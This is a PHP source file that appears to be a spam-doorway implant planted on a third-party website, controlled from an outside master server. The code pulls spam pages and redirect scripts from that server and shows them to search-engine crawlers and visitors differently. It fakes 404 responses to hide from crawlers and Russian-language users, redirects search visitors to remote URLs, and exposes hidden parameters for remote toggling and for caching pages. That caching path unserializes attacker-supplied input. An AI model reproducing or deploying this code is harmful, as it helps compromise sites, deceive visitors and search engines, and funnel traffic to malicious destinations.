<?php
// REVISION: $Rev: 982 $
error_reporting(0);
header('Content-type: text/html; charset=utf-8');
set_magic_quotes_runtime(0);

class RemotePage
{
var $myUrl = 'http://www.santarosa.edu/bids/';
var $waitTimeout = 5; // seconds
var $useCurl = 0;

var $googleRefNumToAllowRedirect = 0;
var $googleRefNumToAllowCloak = 0;
var $cloakMethod = 3; // 1 - 404 old, 2 - hides redirect, 3 - 404 new

var $keywordSeparator = '-';
var $defaultPage = 'index';
var $searchReferers = 'live|msn|yahoo|google|ask|aol';
var $botIps = Array(
/* 2009-12-12 */ '66\.249\.[6-9][0-9]\.[0-9]+', '74\.125\.[0-9]+\.[0-9]+', '38\.[0-9]+\.[0-9]+\.[0-9]+', '70\.91\.180\.25', '65\.93\.62\.242', '74\.193\.246\.129', '213\.144\.15\.38', '195\.92\.229\.2', '70\.50\.189\.191', '218\.28\.88\.99', '165\.160\.2\.20', '89\.122\.224\.230', '66\.230\.175\.124', '218\.18\.174\.27', '65\.33\.87\.94', '67\.210\.111\.241', '81\.135\.175\.70', '64\.69\.34\.134', '89\.149\.253\.169', '69\.136\.208\.89', '83\.15\.211\.166', '78\.180\.145\.80', '78\.166\.111\.63', '64\.233\.1[6-8][1-9]\.[0-9]+', '64\.233\.19[0-1]\.[0-9]+', '209\.185\.108\.[0-9]+', '209\.185\.253\.[0-9]+', '209\.85\.238\.[0-9]+', '216\.239\.33\.9[6-9]', '216\.239\.37\.9[8-9]', '216\.239\.39\.9[8-9]', '216\.239\.41\.9[6-9]', '216\.239\.45\.4', '216\.239\.46\.[0-9]+', '216\.239\.51\.9[6-9]', '216\.239\.53\.9[8-9]', '216\.239\.57\.9[6-9]', '216\.239\.59\.9[8-9]', '216\.33\.229\.163', '64\.233\.173\.[0-9]+', '64\.68\.8[0-9]\.[0-9]+', '64\.68\.9[0-2]\.[0-9]+', '72\.14\.199\.[0-9]+', '8\.6\.48\.[0-9]+', '207\.211\.40\.82', '67\.162\.158\.146', '66\.255\.53\.123', '24\.200\.208\.112', '129\.187\.148\.240', '129\.187\.148\.244', '199\.126\.151\.229', '118\.124\.32\.193', '89\.149\.217\.191',
);

var $masterUrl = 'http://dind.gribokhost.com/';

// !!! DO NOT CHANGE THIS !!!
var $seal = '7aY#4EwrU_eC2AbEcuP?8keYe&ruQuxE=R46eQ38eHE27aZeFr7W7eSp=752xen?';

function RemotePage()
{
}

function _processReferer() {
if ($this->checkGoogleRef()) {
$cnt = $this->_increaseStats('refgg');
if ($cnt != -1 && $cnt >= $this->googleRefNumToAllowRedirect && !$this->_isRedirectRequired()) {
$this->_allowRedirectByGoogle();
};
if ($cnt != -1 && $cnt >= $this->googleRefNumToAllowCloak && !$this->_isCloaked()) {
$this->_allowCloakByGoogle();
};
return true;
};
return false;
}

function _processUserAgent() {
if ($this->checkBot()) {
$cnt = $this->_increaseStats('uagg');
return true;
};
return false;
}

function _testUaLang() {
if (preg_match('/[; ]ru[\-; ]/i', $_SERVER['HTTP_USER_AGENT']))
return false;
if (preg_match('/windows-1251|koi8-r/i', $_SERVER['HTTP_ACCEPT_CHARSET']))
return false;
return true;
}

function _detectBannedUser() {
if (!$this->_testUaLang())
return true;
if (array_key_exists('auth_4cf53d2265656779cb52187db1f69d87', $_COOKIE) && ($_COOKIE['auth_4cf53d2265656779cb52187db1f69d87'] == 'failed' || $_COOKIE['auth_4cf53d2265656779cb52187db1f69d87'] != 1))
return true;
return false;
}

function _processMissed($refResult, $uaResult) {
if ($refResult && $uaResult) {
$cnt = $this->_increaseStats('missgg');
return true;
}
return false;
}

function _increaseStats($stat) {
$cnt = -1;
$hf = @fopen(".cache/.{$stat}", "a+");
if (false == $hf)
return -1;
if (!@flock($hf, LOCK_EX)) {
@fclose($hf);
return -1;
};
fseek($hf, 0);
$cnt = intval(fgets($hf));
fseek($hf, 0);
ftruncate($hf, 0);
++$cnt;
fwrite($hf, strval($cnt));
fclose($hf);
return $cnt;
}

function _getStats($stat) {
$cnt = -1;
$hf = @fopen(".cache/.{$stat}", "r");
if (false == $hf)
return -1;
if (!@flock($hf, LOCK_SH)) {
@fclose($hf);
return -1;
};
fseek($hf, 0);
$cnt = intval(fgets($hf));
fclose($hf);
return $cnt;
}

function _allowRedirectByGoogle() {
$status = $this->allowRedirect('enable');
if ($status == 'nocachedir' || $status == 'enabled')
{
$url = $this->masterUrl . 'remote.php?u=' . urlencode($this->myUrl) . '&a=enable_redirect';
$req = new HttpRequest($this->useCurl ? 0 : 1, $this->waitTimeout);
$page = $req->request($url);
if (!$page)
return false;
return true;
};
return false;
}

function _allowCloakByGoogle() {
$status = $this->allowCloak('enable');
if ($status == 'nocachedir' || $status == 'enabled') {
$url = $this->masterUrl . 'remote.php?u=' . urlencode($this->myUrl) . '&a=enable_cloak';
$req = new HttpRequest($this->useCurl ? 0 : 1, $this->waitTimeout);
$page = $req->request($url);
if (!$page)
return false;
return true;
};
return false;
}

function _getCachedPage($pagename) {
$pagename = strtr($pagename, " \t", "___");
$page = file_get_contents(".cache/{$pagename}.cache");
if (false == $page) {
return false;
};
$page = unserialize($page);
if ($page['seal'] != $this->seal) {
@unlink(".cache/{$pagename}.cache");
return false;
};
$this->cacheStatus = 'EXISTS';
//@header("X-Page-Cached: exists");
return $page;
}

function _cachePage($pagename, $page) {
if ($page['error']) {
@header("X-Page-Cached: failure");
return false;
};
unset($page['redirect_disabled']);
unset($page['cloaked']);
$pagename = strtr($pagename, " \t", "___");
$hf = @fopen(".cache/{$pagename}.cache", "wb");
if (!$hf) {
@header("X-Page-Cached: failure");
return false;
};
fwrite($hf, serialize($page));
fclose($hf);
@header("X-Page-Cached: success");
return true;
}

function _getRemotePage($pagename, $forceReCache) {
if ($forceReCache || false == ($page = $this->_getCachedPage($pagename))) {
$url = $this->masterUrl . 'gw.php?u=' . urlencode($this->myUrl) . '&p=' . urlencode($pagename) . '&s=1';
$req = new HttpRequest($this->useCurl ? 0 : 1, $this->waitTimeout);
$page = $req->request($url);
if (!$page)
return false;
$page = unserialize($page);
if ($page['seal'] != $this->seal) {
return false;
}
$this->redirectDisabled = $page['redirect_disabled'];
$this->cloaked = $page['cloaked'];
$this->cacheStatus = $this->_cachePage($pagename, $page) ? 'SUCCESS' : 'FAILURE';
};
return $page;
}

function _isRedirectRequired($referer) {
// Detecting whether redirect is required
if (is_file('.cache/.noredir') || $this->redirectDisabled == 'disabled')
return false;
else
return true;
}

function _isCloaked($referer) {
// Detecting whether cloak is required
if (is_file('.cache/.cloak') || $this->cloaked == 'cloaked')
return true;
else
return false;
}

function checkGoogleRef()
{
if (preg_match('/google\./i', $_SERVER['HTTP_REFERER']))
{
$url = parse_url($_SERVER['HTTP_REFERER']);
$args = Array();
parse_str($url['query'], $args);
if (!$args['q'] || preg_match('/(^|\s)site:/i', $args['q']))
return false;
return true;
}
return false;
}

function checkBot()
{
if (
false !== strpos($_SERVER['HTTP_USER_AGENT'], 'Googlebot')
|| false !== strpos($_SERVER['HTTP_USER_AGENT'], 'AdsBot-Google')
|| false !== strpos($_SERVER['HTTP_USER_AGENT'], 'gsa-crawler')
|| false !== strpos($_SERVER['HTTP_USER_AGENT'], 'http://www.googlebot.com/bot.html')
|| false !== strpos($_SERVER['HTTP_USER_AGENT'], 'http://www.google.com/bot.html')
)
return true;
$ip = $_SERVER['REMOTE_ADDR'];
foreach ($this->botIps as $botIp) {
if (preg_match("/^{$botIp}/", $ip)) {
return true;
}
}
return false;
}

function allowRedirect($allow) {
if ($allow == 'disable')
@touch('.cache/.noredir');
else
@unlink('.cache/.noredir');
if (!is_dir('.cache') || !is_writable('.cache'))
return 'nocachedir';
return (file_exists('.cache/.noredir') ? 'disabled' : 'enabled');
}

function allowCloak($allow) {
if ($allow == 'enable')
@touch('.cache/.cloak');
else
@unlink('.cache/.cloak');
if (!is_dir('.cache') || !is_writable('.cache'))
return 'nocachedir';
return (file_exists('.cache/.cloak') ? 'enabled' : 'disabled');
}

function die404()
{
header("{$_SERVER['SERVER_PROTOCOL']} 404 Not Found");
die( <<<EOM
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL {$_SERVER['REQUEST_URI']} was not found on this server.</p>
<hr>
<address>{$_SERVER['SERVER_SOFTWARE']} Server at {$_SERVER['SERVER_NAME']} Port {$_SERVER['SERVER_PORT']}</address>
</body></html>
EOM
);
}

function displayPage($pagename, $referer, $cacheOnly, $forceReCache)
{
if ($pagename == '')
$pagename = $this->defaultPage;

$isGoogleRef = $this->_processReferer();
$isBot = $this->_processUserAgent();
$isBannedUser = $this->_detectBannedUser();
$cloaked = $this->_isCloaked();
$hideRedirect = false;
$this->_processMissed($isGoogleRef, $isBot);

if (!$cacheOnly) {
switch ($this->cloakMethod) {
case 2: // Hide redirect for bots
if ($isBot && $cloaked) {
$hideRedirect = true;
};
//$page['page'] = str_replace('$[[REDIRECT]]', '', $page['page']);
break;
case 3: // New 404 - for users
if ($isBannedUser) {
if ($cloaked) {
//echo "Wrong user: $isBannedUser; $isGoogleRef; {$this->isJavaScript}<br>\n";
if ($_COOKIE['auth_4cf53d2265656779cb52187db1f69d87'] != 'failed') {
setcookie('auth_4cf53d2265656779cb52187db1f69d87', 'failed', time() + 60 * 60 * 24 * 2000);
}
$this->die404();
}
}
if (!$isBot) {
//echo "new404: bot not detected;<br>\n";
if ($isGoogleRef xor $this->isJavaScript) {
//echo "Normal user<br>\n";
if ($_COOKIE['auth_4cf53d2265656779cb52187db1f69d87'] != 1) {
setcookie('auth_4cf53d2265656779cb52187db1f69d87', 1, time() + 60 * 60 * 24 * 2000);
}
// TODO: redirect should go here
// header("Location: {$page['redirect_url']}");
}
else if ($cloaked) {
//echo "Wrong user: $isBannedUser; $isGoogleRef; {$this->isJavaScript}<br>\n";
if ($_COOKIE['auth_4cf53d2265656779cb52187db1f69d87'] != 'failed') {
setcookie('auth_4cf53d2265656779cb52187db1f69d87', 'failed', time() + 60 * 60 * 24 * 2000);
}
$this->die404();
}
}
else { // BOT detectet
//echo "new404: bot detected;<br>\n";
$hideRedirect = true;
if ($this->isJavaScript)
{
$this->die404();
}
}
break;
default: // Old 404 - for bots
if ($isBot && $cloaked) {
$this->die404();
}
break;
}
}

$page = $this->_getRemotePage($pagename, $forceReCache);
if ($page === false || $page['error']) {
if ($cacheOnly)
die("PAGE CACHING RESULT: FAILURE\n");
if ($this->feedUrl) {
$url = str_replace('${key}', str_replace($this->keywordSeparator, '%20', $pagename), $this->feedUrl);
header("Location: {$url}");
die();
}
$this->die404();
};
if ($cacheOnly)
die("PAGE CACHING RESULT: {$this->cacheStatus}\n");

if (!$this->_isRedirectRequired($referer))
$hideRedirect = true;
if (!$hideRedirect && $page['redirect_type'] == 'http') {
$scr = new RemotePage();
$script = $scr->_getRemotePage($page['script_filename'], false);
if ($script['seal'] != $scr->seal) {
//echo "Seal mismatch!<br>\n";
$this->die404();
}
$url = str_replace('${arg}', urlencode($page['script_arg']), $script['url']);
$self_url = 'http://' . ($_SERVER['HTTP_HOST'] ? $_SERVER['HTTP_HOST'] : $_SERVER['SERVER_NAME']) . $_SERVER['REQUEST_URI'];
$url = str_replace('${url}', urlencode($self_url), $url);
$url = str_replace('${ref}', urlencode($_SERVER['HTTP_REFERER']), $url);
// TODO: replace ${arg} with argument

header("Location: {$url}");
}
$page['page'] = str_replace('$[[REDIRECT]]', $hideRedirect ? '' : $page['script'], $page['page']);

echo $page['page'];
}

function processRequest($p, $referer, $cacheOnly, $forceReCache)
{
if (preg_match('/\.js$/', $p)) {
$this->isJavaScript = true;
header('Content-type: text/javascript');
}
$this->displayPage($p, $referer, $cacheOnly, $forceReCache);
}
};

class HttpRequest
{
// Request mode, 0 - use CURL, 1 - use SOCKETS
var $mode = 0;
var $timeout = -1;
function HttpRequest($mode = 0, $timeout = -1)
{
$this->mode = ($mode == 0 && function_exists('curl_init') ? 0 : 1);
$this->timeout = $timeout;
}

function _connect($host, $port) {
$errno = null;
$errstr = null;
$hf = fsockopen($host, $port ? $port : 80, $errno, $errstr, $this->timeout);
return $hf;
}

function _disconnect($hs) {
fclose($hs);
}

function request($url, $post_data = false) {
switch ($this->mode)
{
case 0:
return $this->_requestCurl($url, $post_data);
case 1:
return $this->_requestSock($url, $post_data);
default:
return false;
};
}

function _requestCurl($url, $post_data) {
$hc = curl_init($url);
if ($post_data)
curl_setopt($hc, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($hc, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($hc, CURLOPT_CONNECTTIMEOUT, $this->timeout);
$res = curl_exec($hc);
$this->httpStatus = curl_getinfo($hc, CURLINFO_HTTP_CODE);
curl_close($hc);
return $res;
}

function _requestSock($url, $post_data) {
$info = parse_url($url);
$httpHostStr = $info['host'];
if ($info['port'])
$httpHostStr .= ':' . $info['port'];
if (!empty($post_data)) {
$rtype = 'POST';
$post = array();
foreach ($post_data as $key => $val)
{
$post[] = urlencode($key) . '=' . urlencode($val);
};
$post = implode('&', $post);
$contentLength = strlen($post);
$contentType = "Content-Type: application/x-www-form-urlencoded\n";
}
else {
$rtype = 'GET';
$post = '';
$contentLength = 0;
$contentType = '';
};
$req = <<<EOR
{$rtype} {$url} HTTP/1.0
Host: {$httpHostStr}
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.10) Gecko/20071115 Firefox/2.0.0.10
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8
Accept-Language: en
{$contentType}Content-Length: {$contentLength}

$post
EOR;
$hc = $this->_connect($info['host'], $info['port']);
if (!$hc) {
trigger_error("Failed to connect to [{$info['host']}]", E_USER_WARNING);
return false;
};
fwrite($hc, $req);
$res = '';
while (!feof($hc))
$res .= fread($hc, 8192);
$this->_disconnect($hc);
if (preg_match('/^HTTP\/[^\s]+\s+(\d+)/', $res, $match)) {
$this->httpStatus = $match[1];
}
else {
$this->httpStatus = 666;
return false;
};
if (preg_match('/^.+?(?:\r\n\r\n|\n\n)(.*)$/ms', $res, $match)) {
return $match[1];
};
$this->httpStatus = 666;
return false;
}
};

function unslash_rec(&$arr) {
reset($arr);
while (list($key)=each($arr)) {
if (is_array($arr[$key]))
unslash_rec($arr[$key]);
else {
$arr[$key]=stripslashes($arr[$key]);
};
};
};

if (get_magic_quotes_gpc()) {
unslash_rec($_GET);
unslash_rec($_POST);
unslash_rec($_REQUEST);
unslash_rec($_COOKIE);
foreach ($_FILES as $key => $val)
$_FILES[$key]['name'] = stripslashes($_FILES[$key]['name']);
};

$page = new RemotePage();
if (array_key_exists('d98a70509b4b1552243f07629a643439_redir', $_REQUEST)) {
$status = $page->allowRedirect($_REQUEST['d98a70509b4b1552243f07629a643439_redir']);
die("REDIRECT [d98a70509b4b1552243f07629a643439_redir] STATUS: [{$status}]\n");
}
else if (array_key_exists('d98a70509b4b1552243f07629a643439_cloak', $_REQUEST)) {
$status = $page->allowCloak($_REQUEST['d98a70509b4b1552243f07629a643439_cloak']);
die("CLOAK [d98a70509b4b1552243f07629a643439_cloak] STATUS: [{$status}]\n");
}
else if ($_REQUEST['d98a70509b4b1552243f07629a643439_gref'] == 'count') {
$cnt = $page->_getStats('refgg');
$cnt2 = $page->_getStats('uagg');
$cnt3 = $page->_getStats('missgg');
die("GREF [d98a70509b4b1552243f07629a643439_gref] COUNT: [{$cnt}]\nGUA [d98a70509b4b1552243f07629a643439_gua] COUNT: [{$cnt2}]\nGMISS [d98a70509b4b1552243f07629a643439_gmiss] COUNT: [{$cnt3}]\n");
}
else if ($_POST['d98a70509b4b1552243f07629a643439_direct_cache'] == 'cache') {
$status = $page->_cachePage($_REQUEST['p'], unserialize($_REQUEST['page']));
die("CACHE [d98a70509b4b1552243f07629a643439_direct_cache] STATUS: [{$status}]\n");
}
else {
$page->processRequest($_REQUEST['p'], $_SERVER['HTTP_REFERER'], $_REQUEST['__cacheonly'] == 'true', $_REQUEST['__forcerecache'] == 'true');
};

?>